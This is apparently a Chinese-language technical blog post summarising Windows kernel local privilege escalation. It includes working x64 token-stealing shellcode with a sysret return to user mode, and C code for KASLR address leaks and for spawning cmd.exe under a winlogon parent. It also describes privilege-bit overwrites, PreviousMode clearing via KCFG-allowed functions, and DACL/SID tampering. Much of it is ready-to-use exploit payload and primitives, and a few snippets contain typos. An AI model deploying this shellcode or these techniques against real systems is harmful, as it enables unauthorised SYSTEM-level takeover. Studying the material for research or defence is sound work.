winlpe

关于windows LPE的一些总结

token提权

_TOKEN 是一个内核内存结构,描述进程的安全上下文,并包含诸如进程令牌权限、登录 ID、会话 ID、令牌类型(即主令牌与模拟令牌)等信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
//0x498 bytes (sizeof)
struct _TOKEN
{
struct _TOKEN_SOURCE TokenSource; //0x0
struct _LUID TokenId; //0x10
struct _LUID AuthenticationId; //0x18
struct _LUID ParentTokenId; //0x20
union _LARGE_INTEGER ExpirationTime; //0x28
struct _ERESOURCE* TokenLock; //0x30
struct _LUID ModifiedId; //0x38
struct _SEP_TOKEN_PRIVILEGES Privileges; //0x40
struct _SEP_AUDIT_POLICY AuditPolicy; //0x58
ULONG SessionId; //0x78
ULONG UserAndGroupCount; //0x7c
ULONG RestrictedSidCount; //0x80
ULONG VariableLength; //0x84
ULONG DynamicCharged; //0x88
ULONG DynamicAvailable; //0x8c
ULONG DefaultOwnerIndex; //0x90
struct _SID_AND_ATTRIBUTES* UserAndGroups; //0x98
struct _SID_AND_ATTRIBUTES* RestrictedSids; //0xa0
VOID* PrimaryGroup; //0xa8
ULONG* DynamicPart; //0xb0
struct _ACL* DefaultDacl; //0xb8
enum _TOKEN_TYPE TokenType; //0xc0
enum _SECURITY_IMPERSONATION_LEVEL ImpersonationLevel; //0xc4
ULONG TokenFlags; //0xc8
UCHAR TokenInUse; //0xcc
ULONG IntegrityLevelIndex; //0xd0
ULONG MandatoryPolicy; //0xd4
struct _SEP_LOGON_SESSION_REFERENCES* LogonSession; //0xd8
struct _LUID OriginatingLogonSession; //0xe0
struct _SID_AND_ATTRIBUTES_HASH SidHash; //0xe8
struct _SID_AND_ATTRIBUTES_HASH RestrictedSidHash; //0x1f8
struct _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION* pSecurityAttributes; //0x308
VOID* Package; //0x310
struct _SID_AND_ATTRIBUTES* Capabilities; //0x318
ULONG CapabilityCount; //0x320
struct _SID_AND_ATTRIBUTES_HASH CapabilitiesHash; //0x328
struct _SEP_LOWBOX_NUMBER_ENTRY* LowboxNumberEntry; //0x438
struct _SEP_CACHED_HANDLES_ENTRY* LowboxHandlesEntry; //0x440
struct _AUTHZBASEP_CLAIM_ATTRIBUTES_COLLECTION* pClaimAttributes; //0x448
VOID* TrustLevelSid; //0x450
struct _TOKEN* TrustLinkedToken; //0x458
VOID* IntegrityLevelSidValue; //0x460
struct _SEP_SID_VALUES_BLOCK* TokenSidValues; //0x468
struct _SEP_LUID_TO_INDEX_MAP_ENTRY* IndexEntry; //0x470
struct _SEP_TOKEN_DIAG_TRACK_ENTRY* DiagnosticInfo; //0x478
struct _SEP_CACHED_HANDLES_ENTRY* BnoIsolationHandlesEntry; //0x480
VOID* SessionObject; //0x488
ULONGLONG VariablePart; //0x490
};

在描述进程的_EPROCESS有一个Token字段, 但这个字段却不是本进程的_TOKEN, 而是一个_EX_FAST_REF结构体, 当然Object字段指向对应的_TOKEN

1
2
3
4
5
6
7
8
9
10
//0x8 bytes (sizeof)
struct _EX_FAST_REF
{
union
{
VOID* Object; //0x0
ULONGLONG RefCnt:4; //0x0
ULONGLONG Value; //0x0
};
};

略微注意RefCnt字段, 在64位系统下, 结构体内存空间是16对齐的, 所以最低4位可以用以存储一些其他信息, 只需要在使用时将这4位清除即可

进程对应的_TOKEN结构体决定了进程的权限, 如果能在token上做些手脚, 提权自然不在话下

Replacing Tokens for Privilege Escalation

内核漏洞利用提升权限的一种方式是通过将低权限令牌替换为高权限令牌

常常是将当前进程的token替换为高权限进程的token, 常用的例如system进程(PID==4)

流程图类似

对应shellcode实例(x64)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
SECTION .start_magic     
db "magic1"

SECTION .text
;db 0xcc

start:
xor rax, rax
mov rax, [gs:rax + 188h] ; gs[0] == KPCR, Get KPCRB.CurrentThread field
mov rax, [rax+0xb8] ; Get (KAPC_STATE)ApcState.Process (our EPROCESS)
mov r9, rax; ; Backup target EPROCESS at r9

; loop processes list
mov rax, [rax + 0x448] ; +0x448 ActiveProcessLinks : _LIST_ENTRY.Flink; Read first link
mov rax, [rax] ; Follow the first link
system_process_loop:
mov rdx, [rax - 0x8] ; ProcessId
mov r8, rax; ; backup system EPROCESS.ActiveProcessLinks pointer at r8
mov rax, [rax] ; Next process
cmp rdx, 4 ; System PID
jnz system_process_loop

mov rdx, [r8 + 0x70]
and rdx, 0xfffffffffffffff8 ; Ignore ref count
mov rcx, [r9 + 0x4b8]
and rcx, 0x7
add rdx, rcx ; put target's ref count into our token
mov [r9 + 0x4b8], rdx ; rdx = system token; KPROCESS+0x4b8 is the Token, KPROCESS+0x448 is the process links - 0x70 is the diff

;db 0xcc
ret_to_usermode:
;sti
mov rax, [gs:0x188] ; _KPCR.Prcb.CurrentThread
mov cx, [rax + 0x1e4] ; KTHREAD.KernelApcDisable
inc cx
mov [rax + 0x1e4], cx
mov rdx, [rax + 0x90] ; ETHREAD.TrapFrame
mov rcx, [rdx + 0x168] ; ETHREAD.TrapFrame.Rip
mov r11, [rdx + 0x178] ; ETHREAD.TrapFrame.EFlags
mov rsp, [rdx + 0x180] ; ETHREAD.TrapFrame.Rsp
mov rbp, [rdx + 0x158] ; ETHREAD.TrapFrame.Rbp
;db 0xcc
xor eax, eax ; return STATUS_SUCCESS to NtDeviceIoControlFile
swapgs
o64 sysret ; nasm shit

SECTION .end_magic
db "magic2"

对于64位有一个要注意的点:

之前有提到_EX_FAST_REF结构体的RefCnt字段, 在我们得到目标高权限进程的token后, 首先要去除原先的RefCnt, 然后将低权限进程的RefCnt添加到token

这样提权后可以直接system("cmd")弹出拥有高权限的shell

Modifying Token Privileges

_TOKEN结构体中存在一个字段

1
struct _SEP_TOKEN_PRIVILEGES Privileges;//0x40

_SEP_TOKEN_PRIVILEGES结构体是_TOKEN结构体真正用于记录权限的部分

1
2
3
4
5
6
7
//0x18 bytes (sizeof)
struct _SEP_TOKEN_PRIVILEGES
{
ULONGLONG Present; //0x0
ULONGLONG Enabled; //0x8
ULONGLONG EnabledByDefault; //0x10
};

其中Present代表可用权限, Enabled代表可用权限中开启了的部分

二者的每一个bit位代表着一个权限(当然并没有64个那么多权限, 但是未定义部分置位也不会影响什么), 对于system进程其两者字段都是0x0000001ff2ffffbc

所以如果拥有任意写的能力, 将_SEP_TOKEN_PRIVILEGES的两个字段都置位, 也可以开启当前进程的高权限进行提权

这样提权就没法直接使用system获取shell了(产生的shell并不会继承高权限)

所以我们需要利用进程现有的高权限对本就拥有高权限的进程进行注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
DWORD CreateProcessFromHandle(HANDLE Handle, LPSTR command) {
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
SIZE_T size;
BOOL ret;

// Create our PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute
ZeroMemory(&si, sizeof(STARTUPINFOEXA));

InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
GetProcessHeap(),
0,
size
);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &Handle, sizeof(HANDLE), NULL, NULL);

si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

// Finally, create the process
ret = CreateProcessA(
NULL,
command,
NULL,
NULL,
true,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,
NULL,
NULL,
reinterpret_cast<LPSTARTUPINFOA>(&si),
&pi
);

if (ret == false) {
printf("CreateProcessFromHandle failed with error = \n", GetLastError());
return 3;
}

return 0;
}

VOID getshell(){
HANDLE hWinLogon = OpenProcess(PROCESS_ALL_ACCESS, 0, GetPidByName(L"winlogon.exe"));

if (!hWinLogon)
{
printf("[-] OpenProcess failed with error = %lx\n", GetLastError());
return FALSE;
}

CreateProcessFromHandle(hWinLogon, (LPSTR)"cmd.exe");
}

KASLR

KASLR的存在使得如果不能leak出相关内存空间信息, 漏洞利用的难度成倍递增

好在的是, 不同于Linux下对内核内存空间信息的控制那么严格, windows为了保证用户开发生态, 开放了许多获取内核地址空间信息的API

NtQuerySystemInformation

NtQuerySystemInformation就是其中最强大的一个

1
2
3
4
5
6
__kernel_entry NTSTATUS NtQuerySystemInformation(
[in] SYSTEM_INFORMATION_CLASS SystemInformationClass,
[in, out] PVOID SystemInformation,
[in] ULONG SystemInformationLength,
[out, optional] PULONG ReturnLength
);
  • SystemInformationClass: 一个 SYSTEM_INFORMATION_CLASS 枚举值,指示要查询的信息类型。
  • SystemInformation: 一个指向缓冲区的指针,函数将返回查询到的信息。这些信息的结构类型依赖于 SystemInformationClass 参数。
  • SystemInformationLength: 缓冲区的大小(以字节为单位)。如果缓冲区太小,函数将返回 STATUS_INFO_LENGTH_MISMATCH,并更新 ReturnLength 以指示所需的缓冲区大小。
  • ReturnLength: 这个参数是一个指向 ULONG 的指针,函数将通过它返回所需的缓冲区大小,特别是在缓冲区不足的情况下。

NtQuerySystemInformation根据参数SystemInformationClass可以查询二三百种系统信息, 详细可参考SYSTEM_INFORMATION_CLASS - NtDoc

但主要用到也就两三个

SystemModuleInformation

1
SystemModuleInformation = 11

主要用于获取模块信息, 返回类型为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
typedef struct SYSTEM_MODULE {
ULONG Reserved1;
ULONG Reserved2;
#ifdef _WIN64
ULONG Reserved3;
#endif
PVOID ImageBaseAddress;//加载基址
ULONG ImageSize;
ULONG Flags;
WORD Id;
WORD Rank;
WORD w018;
WORD NameOffset;
CHAR Name[255];//名字
}SYSTEM_MODULE, * PSYSTEM_MODULE;

typedef struct SYSTEM_MODULE_INFORMATION {
ULONG ModulesCount;
SYSTEM_MODULE Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

应用举例: 获取系统模块地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
UINT_PTR GetKernelModuleAddress(const char* TargetModule)
{
NTSTATUS status;
ULONG ulBytes = 0;
PSYSTEM_MODULE_INFORMATION handleTableInfo = NULL;

while ((status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, handleTableInfo, ulBytes, &ulBytes)) == STATUS_INFO_LENGTH_MISMATCH)
{
if (handleTableInfo != NULL)
{
handleTableInfo = (PSYSTEM_MODULE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, handleTableInfo, 2 * ulBytes);
}

else
{
handleTableInfo = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * ulBytes);
}
}

if (status == 0)
{
for (ULONG i = 0; i < handleTableInfo->ModulesCount; i++)
{
char* moduleName = strstr(handleTableInfo->Modules[i].Name, TargetModule);
if (moduleName != NULL)
{
return (UINT_PTR)handleTableInfo->Modules[i].ImageBaseAddress;
}
}
}
else
{
if (handleTableInfo != NULL)
{
printf("[-] NtQuerySystemInformation failed. (NTSTATUS code: 0x%X)\n", status);
HeapFree(GetProcessHeap(), 0, handleTableInfo);
return 0;
}
}

HeapFree(GetProcessHeap(), 0, handleTableInfo);

return 0;
}

例如得到内核加载基址

1
module_base_kernel = GetKernelModuleAddress("ntoskrnl.exe");

SystemHandleInformation

1
SystemHandleInformation = 16

SystemHandleInformation 查询返回的内容是关于系统中所有打开的句柄的信息,这些句柄可能属于进程、线程、文件等, 返回类型如下

1
2
3
4
5
6
7
8
9
10
11
12
typedef struct _SYSTEM_HANDLE {
USHORT HandleValue;//句柄唯一标识句柄值
UCHAR ObjectType;//句柄类型, 如文件、进程、内存映射、线程等
UCHAR Flags;
USHORT UniqueProcessId;//句柄所属进程pid
ULONG Object;
} SYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION {
ULONG NumberOfHandles;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION;

应用举例: 通过句柄得到指定进程的句柄对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
int32_t GetObjPtr(_Out_ PULONG64 ppObjAddr, _In_ ULONG ulPid, _In_ HANDLE handle)

{
int32_t Ret = -1;
PSYSTEM_HANDLE_INFORMATION pHandleInfo = 0;
ULONG ulBytes = 0;
NTSTATUS Status = STATUS_SUCCESS;

//
// Handle heap allocations to overcome STATUS_INFO_LENGTH_MISMATCH
//
while ((Status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == 0xC0000004L)
{
if (pHandleInfo != NULL)
{
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, (size_t)2 * ulBytes);
}

else
{
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (size_t)2 * ulBytes);
}
}

if (Status != NULL)
{
Ret = Status;
goto done;
}

for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++)
{
if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (unsigned short)handle))
{
*ppObjAddr = (unsigned long long)pHandleInfo->Handles[i].Object;
Ret = 0;
break;
}
}

done:
if (pHandleInfo != NULL)
{
HeapFree(GetProcessHeap(), 0, pHandleInfo);
}
return Ret;
}

例如得到_EPROCESS地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//当前进程
hCurproc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId());
if (hCurproc != NULL)
{
Ret = GetObjPtr(&Curproc, GetCurrentProcessId(), hCurproc);
if (Ret != NULL)
{
return Ret;
}
printf("[+] Current EPROCESS address: %llx\n", Curproc);
}
//system进程
Ret = GetObjPtr(&Sysproc, 4, (HANDLE)4);
if (Ret != NULL)
{
return Ret;
}
printf("[+] System EPROCESS address: %llx\n", Sysproc);

得到_KTHREAD地址

1
2
3
4
5
6
7
8
9
10
hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, GetCurrentThreadId());
if (hThread != NULL)
{
Ret = GetObjPtr(&Curthread, GetCurrentProcessId(), hThread);
if (Ret != NULL)
{
return Ret;
}
printf("[+] Current KTHREAD address: %llx\n", Curthread);
}

EnumDeviceDrivers

同样是一个可以用于泄露内核基址的函数

EnumDeviceDrivers 函数存在于 psapi.h 中,可以枚举所有设备驱动程序,包括内核本身,并给出设备驱动程序的基址。它将返回一个设备驱动程序列表,其中第一个就是内核本身

1
2
3
4
5
BOOL EnumDeviceDrivers(
LPVOID *lpImageBase,//接收设备驱动程序地址的缓冲区
DWORD cb,//缓冲区大小
LPDWORD lpcbNeeded//返回实际需要的字节数
);

代码举例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <windows.h>
#include <psapi.h>
#include <vector>
#include <iostream>

void PrintDeviceDrivers() {
// 缓冲区用于存储设备驱动程序的地址
std::vector<LPVOID> drivers(1024);
DWORD bytesNeeded;

// 枚举设备驱动程序
if (!EnumDeviceDrivers(drivers.data(), static_cast<DWORD>(drivers.size() * sizeof(LPVOID)), &bytesNeeded)) {
std::cerr << "EnumDeviceDrivers failed. Error: " << GetLastError() << std::endl;
return;
}

// 如果缓冲区不足,则调整大小并重新调用
if (bytesNeeded > drivers.size() * sizeof(LPVOID)) {
drivers.resize(bytesNeeded / sizeof(LPVOID));
if (!EnumDeviceDrivers(drivers.data(), static_cast<DWORD>(drivers.size() * sizeof(LPVOID)), &bytesNeeded)) {
std::cerr << "EnumDeviceDrivers failed after resizing. Error: " << GetLastError() << std::endl;
return;
}
}

// 打印设备驱动程序信息
std::cout << "Loaded Device Drivers:\n";
for (size_t i = 0; i < bytesNeeded / sizeof(LPVOID); ++i) {
TCHAR driverName[MAX_PATH];
if (GetDeviceDriverBaseName(drivers[i], driverName, MAX_PATH)) {
std::wcout << L"Driver: " << driverName << L" at address " << drivers[i] << std::endl;
}
else {
std::cerr << "Failed to get driver name. Error: " << GetLastError() << std::endl;
}
}
}

int main() {
PrintDeviceDrivers();
return 0;
}

KCFG

KCFG对执行流劫持攻击有着强大的作用, 其中对于通过指针间接调用函数要求目标函数在给定函数表中

但给定函数表中也存在可以利用的函数

RtlSetAllBits

1
2
3
4
5
6
7
8
9
10
11
12
void stdcall RtlSetAllBits(PRTL_BITMAP BitMapHeader) {
unsigned int* Buffer;//r8
unsigned int64 v2; / rdx
//...
Buffer = BitMapHeader->Buffer;
v2 = (unsigned int64)(4 * (((BitMapHeader > SizeOfBitMap & 0x1F) != 0 ) + (BitMapHeader->SizeOfBitMap >> 5))) >> 2;
if( v2 ){
memset(Buffer, 0xFFu, 8 * (v2 >> 1));
if ((v2 & 1) != 0)
Buffer[v2 - 1] = -1;
}
}

参数类型定义

1
2
3
4
5
struct _RTL_BITMAP
{
ULONG SizeOfBitMap;
ULONG* Buffer;
};

可以用来设置_SEP_TOKEN_PRIVILEGES提权

RtlClearAllBits

1
2
3
4
5
6
7
8
9
10
11
12
void stdcall RtlClearAllBits(PRTL_BITMAP BitMapHeader) {
unsigned int* Buffer;//r8
unsigned int64 v2; / rdx
//...
Buffer = BitMapHeader->Buffer;
v2 = (unsigned int64)(4 * (((BitMapHeader > SizeOfBitMap & 0x1F) != 0 ) + (BitMapHeader->SizeOfBitMap >> 5))) >> 2;
if( v2 ){
memset(Buffer, 0, 8 * (v2 >> 1));
if ((v2 & 1) != 0)
Buffer[v2 - 1] = 0;
}
}

参数类型同上

可以用于清除_KTHREAD.PreviousMode字段, 将其设置为KernelMode

一些函数会通过这个字段判断是否处于内核模式从而允许调用, 例如:

  • NtReadVirtualMemory内存空间读
  • NtWriteVirtualMemory内存空间读

特别可以NtWriteVirtualMemory直接替换目标进程的token

ACL提权

每一个内核对象对有一个_OBJECT_HEADER结构体, 用于描述关于该对象的元数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
//0x38 bytes (sizeof)
struct _OBJECT_HEADER
{
LONGLONG PointerCount; //0x0
union
{
LONGLONG HandleCount; //0x8
VOID* NextToFree; //0x8
};
struct _EX_PUSH_LOCK Lock; //0x10
UCHAR TypeIndex; //0x18
union
{
UCHAR TraceFlags; //0x19
struct
{
UCHAR DbgRefTrace:1; //0x19
UCHAR DbgTracePermanent:1; //0x19
};
};
UCHAR InfoMask; //0x1a
union
{
UCHAR Flags; //0x1b
struct
{
UCHAR NewObject:1; //0x1b
UCHAR KernelObject:1; //0x1b
UCHAR KernelOnlyAccess:1; //0x1b
UCHAR ExclusiveObject:1; //0x1b
UCHAR PermanentObject:1; //0x1b
UCHAR DefaultSecurityQuota:1; //0x1b
UCHAR SingleHandleEntry:1; //0x1b
UCHAR DeletedInline:1; //0x1b
};
};
ULONG Reserved; //0x1c
union
{
struct _OBJECT_CREATE_INFORMATION* ObjectCreateInfo; //0x20
VOID* QuotaBlockCharged; //0x20
};
VOID* SecurityDescriptor; //0x28
struct _QUAD Body; //0x30
};

Body就是实际的对象, 所以实际对象的地址 - 0x30就是该对象的_OBJECT_HEADER地址

SecurityDescriptor_OBJECT_HEADER结构中的一个关键字段,它存储了对象的安全描述符(Security Descriptor),用于控制对该内核对象的访问权限

1
2
3
4
5
6
7
8
9
10
11
12
13
//0x28 bytes (sizeof)
struct _SECURITY_DESCRIPTOR
{
UCHAR Revision; //0x0
UCHAR Sbz1; //0x1
USHORT Control; //0x2
VOID* Owner; //0x8
VOID* Group; //0x10
struct _ACL* Sacl; //0x18
//系统访问控制列表
struct _ACL* Dacl; //0x20
// 自由访问控制列表(用于权限控制)
};

在早期, 可以通过将SecurityDescriptor修改为NULL, 使得一个地权限的用户也能够修改和编辑高权限进程, 从而可以进行进程注入获得shell

但没多久就被patch, 修改为NULL后会BOSD, 所以现在利用SecurityDescriptor提权主要是通过任意写修改其Dacl字段

DACL 的 任意访问控制列表 由对象的所有者或授予WRITE_DAC对象访问权限的任何人控制。 它指定特定的用户和组对对象的访问权限。 例如,文件的所有者可以使用 DACL 来控制哪些用户和组可以和不能访问该文件。

对象还可以具有与之关联的系统级安全信息,其形式为 系统访问控制列表 (SACL) 由系统管理员控制。 SACL 允许系统管理员审核获取对象访问权限的任何尝试。

Dacl指向一个_ACL结构体

1
2
3
4
5
6
7
8
9
10
11
12
//0x8 bytes (sizeof)
struct _ACL
{
UCHAR AclRevision; //0x0
UCHAR Sbz1; //0x1
USHORT AclSize; //0x2
//指定 ACL 的大小(以字节为单位)。
//此值包括 ACL 结构、所有 ACE 以及可能未使用的内存。
USHORT AceCount; //0x4
//指定 ACL 中存储的 ACE 数。
USHORT Sbz2; //0x6
};

_ACL结构体后面跟着零个或多个 ACE 的顺序列表

常见ACE类型表

ACE类型 描述
ACCESS_ALLOWED_ACE 允许特定权限
ACCESS_DENIED_ACE 拒绝特定权限
SYSTEM_AUDIT_ACE 用于SACL,记录安全审计
SYSTEM_ALARM_ACE 用于SACL,触发警报

我们主要关注_ACCESS_ALLOWED_ACE

1
2
3
4
5
6
7
8
9
10
11
typedef struct _ACCESS_ALLOWED_ACE {
ACE_HEADER Header;
ACCESS_MASK Mask;
DWORD SidStart;
} ACCESS_ALLOWED_ACE;

typedef struct _ACE_HEADER {
BYTE AceType;
BYTE AceFlags;
WORD AceSize;
} ACE_HEADER;

所以提权所要做的就是修改SID字段

常见的SID有

SID 描述
S-1-5-11 Authenticated Users (已认证用户)
S-1-5-18 Local System (系统账户)
S-1-1-0 Everyone (所有用户)
S-1-5-32-544 Administrators (管理员组)

例如winlogon进程的第一个ACE的sid就是S-1-5-18

如果将其修改为S-1-5-11, 那么较权限进程也能访问和修改winlogon进程

不过该提权方法,还需要修改漏洞利用进程的_token结构体中的MandatoryPolicy字段为0, 要不然会因为完整性的原因, 导致注入高权限进程失败

Value Meaning
TOKEN_MANDATORY_POLICY_OFF0x0 No mandatory integrity policy is enforced for the token.
TOKEN_MANDATORY_POLICY_NO_WRITE_UP0x1 A process associated with the token cannot write to objects that have a greater mandatory integrity level.
TOKEN_MANDATORY_POLICY_NEW_PROCESS_MIN0x2 A process created with the token has an integrity level that is the lesser of the parent-process integrity level and the executable-file integrity level.
TOKEN_MANDATORY_POLICY_VALID_MASK0x3 A combination of TOKEN_MANDATORY_POLICY_NO_WRITE_UP and TOKEN_MANDATORY_POLICY_NEW_PROCESS_MIN.

不过既然如此麻烦, 还不如直接用token提权, 所以该提权方案实际上并不常用